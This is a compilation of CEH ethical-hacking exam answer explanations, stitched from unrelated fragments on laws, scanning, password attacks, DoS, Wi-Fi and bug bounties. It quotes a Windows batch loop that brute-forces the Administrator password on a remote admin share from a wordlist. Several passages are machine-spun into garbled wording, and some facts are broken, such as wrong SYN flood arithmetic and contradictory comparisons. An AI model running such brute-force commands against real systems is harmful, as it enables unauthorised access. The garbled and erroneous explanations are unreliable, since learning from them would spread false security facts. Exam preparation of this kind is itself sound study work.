SOX stands for Sarbanes-Oxley Act of 2002. It is a U.S. federal law enacted to protect shareholders and the general public from accounting errors and corporate fraud.

Key points:

Requires strict internal controls and financial disclosures in publicly traded companies.

Mandates regular audits and IT security controls related to financial data.

Applies especially to accounting systems, databases, access controls, and IT procedures related to financial reporting.

Incorrect Options:

A. PCI-DSS relates to securing credit card data.

B. FISMA pertains to federal agency cybersecurity standards.

D. ISO/IEC 27001:2013 is an international information security standard, not a legal requirement for financial integrity.

Reference – CEH v13 Official Courseware:

Module 01: Introduction to Ethical Hacking

Section: “Compliance and Legal Concepts”

Table: "Major Laws and Regulations in Information Security"

===========

Before the incident response team is contacted, it’s crucial to contain the breach to prevent further data exfiltration or compromise. Disconnecting the affected server from the network immediately halts communication with any malicious actors.

━━━━━━━━━━━━━━━━━━━━━━

In CEH v13 Module 17: Mobile and IoT Security, Advanced SMS Phishing (also known as SMiShing) is described as a technique where attackers impersonate trusted entities via SMS to:

Trick users into entering authentication codes or PINs.

Deliver malicious payloads or alter device configurations.

Simulate OTA (Over-the-Air) provisioning messages.

In this case:

The attacker sends a fake OTA setup message asking for a PIN.

Once Ben enters the PIN, the device's configuration is hijacked.

Why Others Are Incorrect:

B. Bypass SSL pinning: Relates to mobile app reverse engineering and traffic interception.

C. Phishing: General term; SMS-specific variant is more accurate here.

D. Tap ‘n ghost: A touch screen manipulation attack, unrelated to messaging.

Correct answer is A. Advanced SMS phishing.

Web Server Attacks - DNS Server Hijacking Attacker compromises the DNS server and changes the DNS settings so that all the requests coming towards the target web server are redirected to his/her own malicious server. (P.1623/1607)

A Protocol Analyzer is the correct tool used to examine the contents of packet data (often stored in .pcap files) to determine if a particular sequence of traffic is suspicious, malformed, or part of a known exploit.

In CEH v13:

Module 3: Scanning Networks

Module 4: Enumeration

Module 5: Vulnerability Analysis

Related Lab: Packet Analysis using Wireshark

The CEH v13 Study Guide states:

“A protocol analyzer (e.g., Wireshark) captures and decodes packets to display their contents and help analysts understand communication flows and anomalies. It is used to manually inspect packet contents and behavior, which helps distinguish legitimate traffic from attacks.”

PCAP (Packet Capture) files are typically analyzed using tools like Wireshark. These tools decode protocol layers and show payloads, making it easier for analysts to identify if IDS alerts were accurate or false positives.

Incorrect Options:

B. Network sniffer: General term; protocol analyzer is the specific functional tool used.

C. IPS: Prevents or blocks malicious traffic, but does not analyze existing packet captures.

D. Vulnerability scanner: Identifies vulnerabilities on systems/services; not used for packet capture review.

A powerful and often the most effective cryptanalysis method in which the attack is directed at the most vulnerable link in the cryptosystem - the person. In this attack, the cryptanalyst uses blackmail, threats, torture, extortion, bribery, etc. This method's main advantage is the decryption time's fundamental independence from the volume of secret information, the length of the key, and the cipher's mathematical strength.

The method can reduce the time to guess a password, for example, for AES, to an acceptable level; however, it requires special authorization from the relevant regulatory authorities. Therefore, it is outside the scope of this course and is not considered in its practical part.

 DHCP.MIB: Monitors network traffic between DHCP servers and remote hosts

■ HOSTMIB.MIB: Monitors and manages host resources

■ LNMIB2.MIB: Contains object types for workstation and server services

■ MIBJI.MIB: Manages TCP/IP-based Internet using a simple architecture and system

■ WINS.MIB: For the Windows Internet Name Service (WINS)

https://en.wikipedia.org/wiki/Subnetwork

This is a fairly simple question. You must to understand what a subnet mask is and how it works.

A subnetwork or subnet is a logical subdivision of an IP network.The practice of dividing a network into two or more networks is called subnetting.

Computers that belong to the same subnet are addressed with an identical most-significant bit-group in their IP addresses. This results in the logical division of an IP address into two fields: the network number or routing prefix and the rest field or host identifier. The rest field is an identifier for a specific host or network interface.

The routing prefix may be expressed in Classless Inter-Domain Routing (CIDR) notation written as the first address of a network, followed by a slash character (/), and ending with the bit-length of the prefix. For example, 198.51.100.0/24 is the prefix of the Internet Protocol version 4 network starting at the given address, having 24 bits allocated for the network prefix, and the remaining 8 bits reserved for host addressing. Addresses in the range 198.51.100.0 to 198.51.100.255 belong to this network. The IPv6 address specification 2001:db8::/32 is a large address block with 296 addresses, having a 32-bit routing prefix.

For IPv4, a network may also be characterized by its subnet mask or netmask, which is the bitmask that when applied by a bitwise AND operation to any IP address in the network, yields the routing prefix. Subnet masks are also expressed in dot-decimal notation like an address. For example, 255.255.255.0 is the subnet mask for the prefix 198.51.100.0/24.

STP prevents bridging loops in a redundant switched network environment. By avoiding loops, you can ensure that broadcast traffic does not become a traffic storm.

STP is a hierarchical tree-like topology with a “root” switch at the top. A switch is elected as root based on the lowest configured priority of any switch (0 through 65,535). When a switch boots up, it begins a process of identifying other switches and determining the root bridge. After a root bridge is elected, the topology is established from its perspective of the connectivity. The switches determine the path to the root bridge, and all redundant paths are blocked. STP sends configuration and topology change notifications and acknowledgments (TCN/TCA) using bridge protocol data units (BPDU).

An STP attack involves an attacker spoofing the root bridge in the topology. The attacker broadcasts out an STP configuration/topology change BPDU in an attempt to force an STP recalculation. The BPDU sent out announces that the attacker’s system has a lower bridge priority. The attacker can then see a variety of frames forwarded from other switches to it. STP recalculation may also cause a denial-of-service (DoS) condition on the network by causing an interruption of 30 to 45 seconds each time the root bridge changes. An attacker using STP network topology changes to force its host to be elected as the root bridge.

These tools are all Distributed Denial of Service (DDoS) attack tools that coordinate large numbers of systems (bots) to flood target networks or services:

Trinoo – UDP flood-based DDoS tool

TFN2k (Tribe Flood Network 2000) – Supports ICMP, SYN, and other attack types

WinTrinoo – Windows variant of Trinoo

Stacheldraht – Combines features of Trinoo and TFN with encryption and auto-updating

T-Sight – DDoS control tool

From CEH v13 Official Courseware:

Module 9: Denial-of-Service Attacks

CEH v13 Study Guide states:

“These tools are classic examples of distributed DoS platforms used by attackers to launch coordinated flood attacks using compromised hosts.”

Incorrect Options:

A: Not all tools were developed by the same group.

B: Not typically used by defenders.

D/E: These tools are cross-platform (some run on Linux, others on Windows).

In CEH v13 Module 03: Scanning Networks, the behavior of firewalls in response to ACK scans is described in detail, especially regarding stateful vs. stateless firewalls.

An ACK scan (nmap -sA) is primarily used for firewall rule analysis. Here’s how it works:

When you send a TCP ACK segment:

If the port is closed and no firewall is present, the target should respond with a TCP RST packet.

If a stateless (non-stateful) firewall is used, it typically allows or blocks packets based only on rules about IP addresses, ports, and protocol type, without tracking session state.

If a stateful firewall is used, it keeps track of connection states. Therefore:

An unsolicited ACK packet (not part of any established session) will be silently dropped, because it doesn’t correspond to any active connection.

No RST is sent back because the firewall suppresses it, recognizing it as potentially malicious or out of context.

Therefore:

No RST response = packet was silently dropped.

Silent dropping of unsolicited ACK packets = Stateful Firewall Behavior.

Option Analysis:

A. There is no firewall in place

❌ Incorrect. If there were no firewall, an RST would be sent from the closed port.

B. This event does not tell you anything about the firewall

❌ Incorrect. The lack of a response is actually meaningful and implies stateful filtering behavior.

C. It is a stateful firewall

Correct. A stateful firewall inspects the packet, sees no valid session, and drops it silently.

D. It is a non-stateful firewall

❌ Incorrect. A non-stateful firewall would typically not inspect session state, and you'd still expect to see a response (likely an RST).

Reference from CEH v13 Study Guide and Courseware:

Module 03 – Scanning Networks, Section: Nmap Scanning Techniques → TCP ACK Scan

CEH Engage Labs – Network Scanning Phase: Firewall Rule Detection using ACK Scans

A DHCP starvation assault is a pernicious computerized assault that objectives DHCP workers. During a DHCP assault, an unfriendly entertainer floods a DHCP worker with false DISCOVER bundles until the DHCP worker debilitates its stock of IP addresses. When that occurs, the aggressor can deny genuine organization clients administration, or even stock an other DHCP association that prompts a Man-in-the-Middle (MITM) assault.

In a DHCP Starvation assault, a threatening entertainer sends a huge load of false DISCOVER parcels until the DHCP worker thinks they’ve used their accessible pool. Customers searching for IP tends to find that there are no IP addresses for them, and they’re refused assistance. Furthermore, they may search for an alternate DHCP worker, one which the unfriendly entertainer may give. What’s more, utilizing a threatening or sham IP address, that unfriendly entertainer would now be able to peruse all the traffic that customer sends and gets.

In an unfriendly climate, where we have a malevolent machine running some sort of an instrument like Yersinia, there could be a machine that sends DHCP DISCOVER bundles. This malevolent customer doesn’t send a modest bunch – it sends a great many vindictive DISCOVER bundles utilizing sham, made-up MAC addresses as the source MAC address for each solicitation.

In the event that the DHCP worker reacts to every one of these false DHCP DISCOVER parcels, the whole IP address pool could be exhausted, and that DHCP worker could trust it has no more IP delivers to bring to the table to legitimate DHCP demands.

When a DHCP worker has no more IP delivers to bring to the table, ordinarily the following thing to happen would be for the aggressor to get their own DHCP worker. This maverick DHCP worker at that point starts giving out IP addresses.

The advantage of that to the assailant is that if a false DHCP worker is distributing IP addresses, including default DNS and door data, customers who utilize those IP delivers and begin to utilize that default passage would now be able to be directed through the aggressor’s machine. That is all that an unfriendly entertainer requires to play out a man-in-the-center (MITM) assault.

The command shown is a Windows batch loop that attempts to mount a hidden administrative share (c$) on a remote machine (\10.1.2.3) using the username "Administrator" and a list of passwords from the file hackfile.txt.

for /f "tokens=1 %%a in (hackfile.txt) → Reads one password per line from the file

do net use * \10.1.2.3\c$ /user:"Administrator" %%a → Tries to authenticate to the share using the Administrator account and each password

This is a classic brute-force password attack attempting to crack the Administrator account using a wordlist.

From CEH v13 Official Courseware:

Module 4: Enumeration

Module 6: Malware and Password Cracking Techniques

CEH v13 Study Guide states:

“Tools and scripts that automate login attempts using SMB shares and administrative credentials can be used to brute force user accounts. An attacker attempts access using a list of passwords (dictionary attack).”

Incorrect Options:

A: The connection attempt is made, but the success is dependent on password cracking.

B: This command does not enumerate users.

D: No null session involved; this is a brute-force attempt, not privilege escalation.

A Kerberoasting attack is a technique that exploits the weak encryption of Kerberos service tickets to obtain the password hashes of service accounts that have a Service Principal Name (SPN) associated with them. The attacker can then crack the hashes offline and use the plaintext passwords to impersonate the service accounts and access network resources.

A Kerberoasting attack follows these steps1:

The attacker impersonates a legitimate Active Directory user and authenticates to the Key Distribution Center (KDC) in the Active Directory environment. They then request a Ticket Granting Ticket (TGT) from the KDC to access network resources. The KDC complies because the attacker is impersonating a legitimate user.

The attacker enumerates the service accounts that have an SPN using tools like GetUserSPNs.py or PowerView. They then request a service ticket for each SPN from the KDC using their TGT. The KDC grants the service tickets, which are encrypted with the password hashes of the service accounts.

The attacker captures the service tickets and takes them offline. They then attempt to crack the password hashes using tools like Hashcat or John the Ripper. They can use various methods, such as brute force, dictionary, or hybrid attacks, to guess the passwords. Alternatively, they can use a PRINCE attack, which is a probabilistic password generation technique that combines common words, patterns, and transformations to generate likely passwords2.

Once the attacker obtains the plaintext passwords of the service accounts, they can use them to authenticate as the service accounts and access the network resources that they are authorized to.

Therefore, the next step that the analyst should take after obtaining a valid TGT is to request a service ticket for the SPN of the target service account. This will allow them to capture the service ticket and extract the password hash of the service account.

WEP encryption is an outdated and insecure method of protecting wireless networks from unauthorized access and eavesdropping. WEP uses a static key that can be easily cracked by various tools and techniques, such as capturing the initialization vectors, brute-forcing the key, or exploiting the weak key scheduling algorithm1. Therefore, you should recommend a more secure encryption method to enhance the security of the company’s wireless network.

One of the most suitable replacements for WEP encryption is WPA2-PSK with AES encryption. WPA2 stands for Wi-Fi Protected Access 2, which is a security standard that improves upon the previous WPA standard. WPA2 uses a robust encryption algorithm called AES, which stands for Advanced Encryption Standard. AES is a block cipher that uses a 128-bit key and is considered to be very secure and resistant to attacks2.

WPA2-PSK stands for WPA2 Pre-Shared Key, which is a mode of WPA2 that uses a passphrase or a password to generate the encryption key. The passphrase or password must be entered by the users who want to connect to the wireless network. The key is then derived from the passphrase or password using a function called PBKDF2, which stands for Password-Based Key Derivation Function 2. PBKDF2 adds a salt and a number of iterations to the passphrase or password to make it harder to crack3.

WPA2-PSK with AES encryption offers several advantages over WEP encryption, such as:

It uses a dynamic key that changes with each session, instead of a static key that remains the same.

It uses a stronger encryption algorithm that is more difficult to break, instead of a weaker encryption algorithm that is more vulnerable to attacks.

It uses a longer key that provides more security, instead of a shorter key that provides less security.

It uses a more secure key derivation function that adds complexity and randomness, instead of a simple key generation function that is predictable and flawed.

Therefore, you should recommend WPA2-PSK with AES encryption as a suitable replacement to enhance the security of the company’s wireless network.

One of the most common Nmap usage scenarios is scanning an Ethernet LAN. Most LANs, especially those that use the private address range granted by RFC 1918, do not always use the overwhelming majority of IP addresses. When Nmap attempts to send a raw IP packet, such as an ICMP echo request, the OS must determine a destination hardware (ARP) address, such as the target IP, so that the Ethernet frame can be properly addressed. .. This is required to issue a series of ARP requests. This is best illustrated by an example where a ping scan is attempted against an Area Ethernet host. The –send-ip option tells Nmap to send IP-level packets (rather than raw Ethernet), even on area networks. The Wireshark output of the three ARP requests and their timing have been pasted into the session.

Raw IP ping scan example for offline targets

This example took quite a couple of seconds to finish because the (Linux) OS sent three ARP requests at 1 second intervals before abandoning the host. Waiting for a few seconds is excessive, as long as the ARP response usually arrives within a few milliseconds. Reducing this timeout period is not a priority for OS vendors, as the overwhelming majority of packets are sent to the host that actually exists. Nmap, on the other hand, needs to send packets to 16 million IP s given a target like 10.0.0.0/8. Many targets are pinged in parallel, but waiting 2 seconds each is very delayed.

There is another problem with raw IP ping scans on the LAN. If the destination host turns out to be unresponsive, as in the previous example, the source host usually adds an incomplete entry for that destination IP to the kernel ARP table. ARP tablespaces are finite and some operating systems become unresponsive when full. If Nmap is used in rawIP mode (–send-ip), Nmap may have to wait a few minutes for the ARP cache entry to expire before continuing host discovery.

ARP scans solve both problems by giving Nmap the highest priority. Nmap issues raw ARP requests and handles retransmissions and timeout periods in its sole discretion. The system ARP cache is bypassed. The example shows the difference. This ARP scan takes just over a tenth of the time it takes for an equivalent IP.

Example b ARP ping scan of offline target

In example b, neither the -PR option nor the -send-eth option has any effect. This is often because ARP has a default scan type on the Area Ethernet network when scanning Ethernet hosts that Nmap discovers. This includes traditional wired Ethernet as 802.11 wireless networks. As mentioned above, ARP scanning is not only more efficient, but also more accurate. Hosts frequently block IP-based ping packets, but usually cannot block ARP requests or responses and communicate over the network.Nmap uses ARP instead of all targets on equivalent targets, even if different ping types (such as -PE and -PS) are specified. LAN.. If you do not need to attempt an ARP scan at all, specify –send-ip as shown in Example a “Raw IP Ping Scan for Offline Targets”.

If you give Nmap control to send raw Ethernet frames, Nmap can also adjust the source MAC address. If you have the only PowerBook in your security conference room and a large ARP scan is initiated from an Apple-registered MAC address, your head may turn to you. Use the –spoof-mac option to spoof the MAC address as described in the MAC Address Spoofing section.

Comprehensive and Detailed Explanation:

The “weakest link” in cybersecurity is almost always the human element. Even with cutting-edge technology and airtight configurations, untrained or careless users can fall for phishing attacks, use weak passwords, or mishandle sensitive data — giving hackers a path into the system.

From CEH v13 Courseware:

Module 7: Social Engineering

Topic: Human Element in Security Breaches

Bob wants Alice to verify that the message hasn’t been tampered with. This is a use case for ensuring data integrity and authenticity. The process described matches the creation of a digital signature:

Bob computes a checksum (typically a cryptographic hash) of the message.

Then, he encrypts this checksum (hash) using his own private key.

Alice receives the message and decrypts the checksum using Bob’s public key.

If the decrypted checksum matches the hash she computes from the received message, she confirms the message’s integrity and authenticity.

This is a fundamental principle of digital signatures.

Incorrect Options:

A. Alice's private key is never used by others; it's confidential.

B. Encrypting with Alice’s public key ensures confidentiality, not authenticity.

D. Bob’s public key is used by the receiver to verify authenticity, not for encryption in this context.

Reference – CEH v13 Official Courseware:

Module 20: Cryptography

Section: “Digital Signatures”

Subsection: “Using Private Keys to Sign and Public Keys to Verify”

CEH Engage Lab: Email Signing and Verification

===========

False Positives occur when a scanner, Web Application Firewall (WAF), or Intrusion Prevention System (IPS) flags a security vulnerability that you do not have. A false negative is the opposite of a false positive, telling you that you don't have a vulnerability when, in fact, you do.

A false positive is like a false alarm; your house alarm goes off, but there is no burglar. In web application security, a false positive is when a web application security scanner indicates that there is a vulnerability on your website, such as SQL Injection, when, in reality, there is not. Web security experts and penetration testers use automated web application security scanners to ease the penetration testing process. These tools help them ensure that all web application attack surfaces are correctly tested in a reasonable amount of time. But many false positives tend to break down this process. If the first 20 variants are false, the penetration tester assumes that all the others are false positives and ignore the rest. By doing so, there is a good chance that real web application vulnerabilities will be left undetected.

When checking for false positives, you want to ensure that they are indeed false. By nature, we humans tend to start ignoring false positives rather quickly. For example, suppose a web application security scanner detects 100 SQL Injection vulnerabilities. If the first 20 variants are false positives, the penetration tester assumes that all the others are false positives and ignore all the rest. By doing so, there are chances that real web application vulnerabilities are left undetected. This is why it is crucial to check every vulnerability and deal with each false positive separately to ensure false positives.

These types of attacks occur when faults or glitches are INJECTED into the Power supply that can be used for remote execution.

A hybrid attack combines the benefits of both dictionary and brute-force attacks. It takes words from a dictionary and applies modifications such as:

Appending or prepending numbers or symbols

Changing case (e.g., admin → Admin1!)

Leetspeak substitutions (e.g., p@ssw0rd)

From CEH v13 Official Courseware:

Module 6: Malware Threats

Topic: Password Cracking Methods

CEH v13 Study Guide states:

“A hybrid attack is a combination of dictionary and brute-force techniques. It takes dictionary words and mutates them to cover common variations, making it more effective than pure dictionary attacks.”

Incorrect Options:

A/B/D: These are not standard terminology in cryptographic or password auditing literature.

Passwords are usually delineated as “hashed and salted”. salting is simply the addition of a unique, random string of characters renowned solely to the site to every parole before it’s hashed, typically this “salt” is placed in front of each password.

The salt value needs to be hold on by the site, which means typically sites use the same salt for each parole. This makes it less effective than if individual salts are used.

The use of unique salts means that common passwords shared by multiple users – like “123456” or “password” – aren’t revealed revealed when one such hashed password is known – because despite the passwords being the same the immediately and hashed values are not.

Large salts also protect against certain methods of attack on hashes, including rainbow tables or logs of hashed passwords previously broken.

Both hashing and salting may be repeated more than once to increase the issue in breaking the security.

The SSID (service set identifier) is the name of your wireless network. SSID broadcast is how your router transmits this name to surrounding devices. Its primary function is to make your network visible and easily accessible. Most routers broadcast their SSIDs automatically. To disable or enable SSID broadcast, you need to change your router’s settings.

Disabling SSID broadcast will make your Wi-FI network name invisible to other users. However, this only hides the name, not the network itself. You cannot disguise the router's activity, so hackers can still attack it.

With your network invisible to wireless devices, connecting becomes a bit more complicated. Just giving a Wi-FI password to your guests is no longer enough. They have to configure their settings manually by including the network name, security mode, and other relevant info.

Disabling SSID might be a small step towards online security, but by no means should it be your final one. Before considering it as a security measure, consider the following aspects:

- Disabling SSID broadcast will not hide your network completely

Disabling SSID broadcast only hides the network name, not the fact that it exists. Your router constantly transmits so-called beacon frames to announce the presence of a wireless network. They contain essential information about the network and help the device connect.

- Third-party software can easily trace a hidden network

Programs such as NetStumbler or Kismet can easily locate hidden networks. You can try using them yourself to see how easy it is to find available networks – hidden or not.

- You might attract unwanted attention.

Disabling your SSID broadcast could also raise suspicion. Most of us assume that when somebody hides something, they have a reason to do so. Thus, some hackers might be attracted to your network.

A white hat (or a white hat hacker) is an ethical computer hacker, or a computer security expert, who focuses on penetration testing and in other testing methodologies that ensures the safety of an organization’s information systems. Ethical hacking may be a term meant to imply a broader category than simply penetration testing. Contrasted with black hat, a malicious hacker, the name comes from Western films, where heroic and antagonistic cowboys might traditionally wear a white and a black hat respectively. While a white hat hacker hacks under good intentions with permission, and a black hat hacker, most frequently unauthorized, has malicious intent, there’s a 3rd kind referred to as a gray hat hacker who hacks with good intentions but sometimes without permission.

White hat hackers can also add teams called “sneakers and/or hacker clubs”,red teams, or tiger teams.

While penetration testing concentrates on attacking software and computer systems from the beginning – scanning ports, examining known defects in protocols and applications running on the system and patch installations, as an example – ethical hacking may include other things. A full-blown ethical hack might include emailing staff to invite password details, searching through executive’s dustbins and typically breaking and entering, without the knowledge and consent of the targets. Only the owners, CEOs and Board Members (stake holders) who asked for such a censoring of this magnitude are aware. to undertake to duplicate a number of the destructive techniques a true attack might employ, ethical hackers may arrange for cloned test systems, or organize a hack late in the dark while systems are less critical. In most up-to-date cases these hacks perpetuate for the long-term con (days, if not weeks, of long-term human infiltration into an organization). Some examples include leaving USB/flash key drives with hidden auto-start software during a public area as if someone lost the tiny drive and an unsuspecting employee found it and took it.

Some other methods of completing these include:

• DoS attacks

• Social engineering tactics

• Reverse engineering

• Network security

• Disk and memory forensics

• Vulnerability research

• Security scanners such as:

– W3af

– Nessus

– Burp suite

• Frameworks such as:

– Metasploit

• Training Platforms

These methods identify and exploit known security vulnerabilities and plan to evade security to realize entry into secured areas. they’re ready to do that by hiding software and system ‘back-doors’ which will be used as a link to information or access that a non-ethical hacker, also referred to as ‘black-hat’ or ‘grey-hat’, might want to succeed in .

In a Windows system, a Security Identifier (SID) uniquely identifies each user and group. The SID format is:

S-1-5-21--

The Relative Identifier (RID) is the last component in the SID string.

According to Microsoft and CEH v13:

RID 500 → Built-in Administrator account

RID 501 → Guest account

RIDs > 1000 → Regular user accounts

In the given image, the SID:

s-1-5-21-1125394485-807628933-54978560-500chang

has a RID of 500, indicating the built-in administrator account.

From CEH v13:

Module 4: Enumeration

Topic: SID Enumeration

CEH v13 States:

“When enumerating Windows systems, the account with RID 500 is always the default Administrator account, unless renamed. Attackers often target this account due to its elevated privileges.”

Incorrect Options:

All others have RIDs not equal to 500 (e.g., 100, 652, 412, etc.)

In CEH v13 Module 09: Social Engineering, spear-phishing is described as a targeted email-based attack in which malicious actors craft highly personalized emails to specific individuals within an organization.

Characteristics from the scenario:

The attacker sends a fraudulent email to an employee.

The email contains a malicious attachment.

Once opened, malware is installed, targeting ICS/SCADA components.

The attack spreads and ultimately damages industrial systems.

This is a classic spear-phishing attack used as the initial infection vector in Advanced Persistent Threats (APT) targeting industrial control systems.

Why Others Are Incorrect:

B. SMiShing: SMS-based phishing; not email-related.

C. Reconnaissance: Pre-attack information gathering, not execution.

D. HMI-based attack: Targets Human-Machine Interface devices, but that’s not how the attack started here.

Employing a tool like Sublist3r, which is designed to enumerate the subdomains of websites using OSINT, would be the most effective method to accomplish this goal. This option works as follows:

Sublist3r is a python tool designed to enumerate subdomains of websites using OSINT (Open Source Intelligence). It helps penetration testers and bug hunters collect and gather subdomains for the domain they are targeting. Sublist3r enumerates subdomains using many search engines such as Google, Yahoo, Bing, Baidu, and Ask. Sublist3r also enumerates subdomains using Netcraft, Virustotal, ThreatCrowd, DNSdumpster, and ReverseDNS. Subbrute was integrated with Sublist3r to increase the possibility of finding more subdomains using bruteforce with an improved wordlist1.

By using Sublist3r, the tester can quickly and efficiently discover the subdomains of the target organization’s website, which can provide valuable information about the network structure, the services offered, the potential vulnerabilities, and the attack surface. Sublist3r can also be used to perform passive reconnaissance, which does not send any packets to the target domain, and thus avoids detection by the target organization12.

The other options are not as effective as option A for the following reasons:

B. Analyzing Linkedin profiles to find employees of the target company and their job titles: This option is not relevant because it does not address the subdomain enumeration task, but the social engineering task. Linkedin is a social networking platform that allows users to create and share their professional profiles, which may include their name, job title, company, skills, education, and contacts. By analyzing Linkedin profiles, the tester may be able to find employees of the target company and their job titles, which can be useful for crafting phishing emails, impersonating employees, or exploiting human weaknesses. However, this option does not help to discover the subdomains of the target organization’s website, which is the goal of this scenario3.

C. Utilizing the Harvester tool to extract email addresses related to the target domain using a search engine like Google or Bing: This option is not sufficient because it does not provide a comprehensive list of subdomains, but only a partial list based on email addresses. The Harvester is a tool that can extract email addresses, subdomains, hosts, employee names, open ports, and banners from different public sources, such as search engines, PGP key servers, and SHODAN computer database. By using the Harvester, the tester may be able to extract some email addresses related to the target domain, which can reveal some subdomains, such as mail.target.com or support.target.com. However, this option does not guarantee to find all the subdomains of the target organization’s website, as some subdomains may not have any email addresses associated with them, or may not be indexed by the search engines4.

D. Using a people search service, such as Spokeo or Intelius, to gather information about the employees of the target organization: This option is not applicable because it does not address the subdomain enumeration task, but the personal information gathering task. Spokeo and Intelius are people search services that can provide various information about individuals, such as their name, address, phone number, email, social media, criminal records, and financial history. By using these services, the tester may be able to gather information about the employees of the target organization, which can be useful for performing background checks, identity theft, or blackmail. However, this option does not help to discover the subdomains of the target organization’s website, which is the goal of this scenario56.

DNS poisoning (also known as DNS cache poisoning) occurs when a malicious actor injects false DNS data into a DNS resolver's cache. The poisoned entry will persist for the duration of its TTL (Time To Live), which is defined in the DNS SOA (Start of Authority) record.

The SOA record contains several fields including:

Serial number

Refresh

Retry

Expire

Minimum TTL

The Minimum TTL value in the SOA record determines how long a DNS resolver should cache the DNS data — including any potentially poisoned data.

From CEH v13 Official Courseware:

Module 3: Scanning Networks

Topic: DNS Enumeration & Poisoning

CEH v13 Study Guide states:

“The SOA record includes a minimum TTL value that dictates how long DNS information should be cached by other DNS servers. If DNS cache poisoning occurs, the false information will persist until the TTL expires.”

Incorrect Options:

A: MX (Mail Exchange) defines mail servers, not TTLs.

C: NS (Name Server) specifies authoritative servers, not caching durations.

D: TIMEOUT is not a valid DNS resource record.

A SYN flood attack is a type of denial-of-service (DoS) attack that exploits the TCP handshake process by sending a large number of SYN requests to the target server, without completing the connection. This consumes the connection state tables on the server, preventing it from accepting new connections. The attacker has crafted an automated botnet to simultaneously send ‘s’ SYN packets per second to the server. The server can handle ‘f’ SYN packets per second without any performance issues. If ‘s’ exceeds ‘f’, the network infrastructure begins to show signs of overload. The system’s response time increases exponentially (24k), where ‘k’ represents each additional SYN packet above the ‘f’ limit.

Considering ‘s=500’ and different ‘f’ values, the scenario that is most likely to cause the server to experience overload and significantly increased response times is the one where ‘f=420’. This is because ‘s’ is greater than ‘f’ by 80 packets per second, which means the server cannot handle the incoming traffic and will eventually run out of resources. The response time shoots up (2480 = 281,474,976,710,656 times the normal response time), indicating a system overload.

The other scenarios are less likely or less severe than the one where ‘f=420’. Option A has ‘f=510’, which is greater than ‘s’, so the system stays stable and the response time remains unaffected. Option B has ‘f=495’, which is less than ‘s’ by 5 packets per second, so the response time drastically rises (245 = 32 times the normal response time), indicating a probable system overload, but not as extreme as option D. Option C has ‘f=505’, which is less than ‘s’ by 5 packets per second, so the response time increases but not as drastically (245 = 32 times the normal response time), and the system might still function, albeit slowly. References:

SYN flood DDoS attack | Cloudflare

SYN flood - Wikipedia

What Is a SYN Flood Attack? | F5

What is a SYN flood attack and how to prevent it? | NETSCOUT

Rating CVSS Score

None 0.0

Low 0.1 - 3.9

Medium 4.0 - 6.9

High 7.0 - 8.9

Critical 9.0 - 10.0

https://www.first.org/cvss/v3.0/specification-document

The Common Vulnerability Scoring System (CVSS) is an open framework for communicating the characteristics and severity of software vulnerabilities. CVSS consists of three metric groups: Base, Temporal, and Environmental. The Base metrics produce a score ranging from 0 to 10, which can then be modified by scoring the Temporal and Environmental metrics. A CVSS score is also represented as a vector string, a compressed textual representation of the values used to derive the score. Thus, CVSS is well suited as a standard measurement system for industries, organizations, and governments that need accurate and consistent vulnerability severity scores. Two common uses of CVSS are calculating the severity of vulnerabilities discovered on one's systems and as a factor in prioritization of vulnerability remediation activities. The National Vulnerability Database (NVD) provides CVSS scores for almost all known vulnerabilities.

Qualitative Severity Rating Scale

For some purposes, it is useful to have a textual representation of the numeric Base, Temporal and Environmental scores.

https://en.wikipedia.org/wiki/Nikto_(vulnerability_scanner)

Nikto is a free software command-line vulnerability scanner that scans web servers for dangerous files/CGIs, outdated server software, and other problems. It performs generic and server types specific checks. It also captures and prints any cookies received. The Nikto code itself is free software, but the data files it uses to drive the program are not.

In CEH v13 Module 01: Information Security Fundamentals, the types of threat intelligence are categorized as Strategic, Tactical, Operational, and Technical, each serving different security roles.

Tactical Threat Intelligence – Correct Answer

Definition: Provides information in a machine-readable format such as indicators of compromise (IOCs) — including IP addresses, file hashes, URLs, domains, and signatures.

Purpose: Used to update security appliances like firewalls, IDS/IPS, endpoint protection to automatically detect and block threats in real-time.

Roma used threat intelligence in this exact way — automating detection and blocking via security tools.

Why Other Options Are Incorrect:

A. Technical Threat Intelligence: Often overlaps with tactical but usually refers to low-level indicators used for internal analysis, not device-ready feeds.

B. Operational Threat Intelligence: Focuses on specific campaigns, attacker TTPs, and is generally not automated or directly used in security appliances.

D. Strategic Threat Intelligence: High-level, non-technical insights for executives and decision-makers — used for long-term planning, not immediate threat blocking.

Bug bounty programs allow independent security researchers to report bugs to an companies and receive rewards or compensation. These bugs area unit sometimes security exploits and vulnerabilities, although they will additionally embody method problems, hardware flaws, and so on.

The reports area unit usually created through a program travel by associate degree freelance third party (like Bugcrowd or HackerOne). The companies can got wind of (and run) a program curated to the organization’s wants.

Programs is also non-public (invite-only) wherever reports area unit unbroken confidential to the organization or public (where anyone will sign in and join). they will happen over a collection timeframe or with without stopping date (though the second possibility is a lot of common).

Who uses bug bounty programs?

Many major organizations use bug bounties as an area of their security program, together with AOL, Android, Apple, Digital Ocean, and goldman Sachs. you’ll read an inventory of all the programs offered by major bug bounty suppliers, Bugcrowd and HackerOne, at these links.

Why do corporations use bug bounty programs?

Bug bounty programs provide corporations the flexibility to harness an outsized cluster of hackers so as to seek out bugs in their code.

This gives them access to a bigger variety of hackers or testers than they’d be able to access on a one-on-one basis. It {can also|also will|can even|may also|may} increase the probabilities that bugs area unit found and reported to them before malicious hackers can exploit them.

It may also be an honest publicity alternative for a firm. As bug bounties became a lot of common, having a bug bounty program will signal to the general public and even regulators that a corporation incorporates a mature security program.

This trend is likely to continue, as some have began to see bug bounty programs as an business normal that all companies ought to invest in.

Why do researchers and hackers participate in bug bounty programs?

Finding and news bugs via a bug bounty program may end up in each money bonuses and recognition. In some cases, it will be a good thanks to show real-world expertise once you are looking for employment, or will even facilitate introduce you to parents on the protection team within an companies.

This can be full time income for a few of us, income to supplement employment, or the way to point out off your skills and find a full time job.

It may also be fun! it is a nice (legal) probability to check out your skills against huge companies and government agencies.

What area unit the disadvantages of a bug bounty program for independent researchers and hackers?

A lot of hackers participate in these varieties of programs, and it will be tough to form a major quantity of cash on the platform.

In order to say the reward, the hacker has to be the primary person to submit the bug to the program. meaning that in apply, you may pay weeks searching for a bug to use, solely to be the person to report it and build no cash.

Roughly ninety seven of participants on major bug bounty platforms haven’t sold-out a bug.

In fact, a 2019 report from HackerOne confirmed that out of quite three hundred,000 registered users, solely around two.5% received a bounty in their time on the platform.

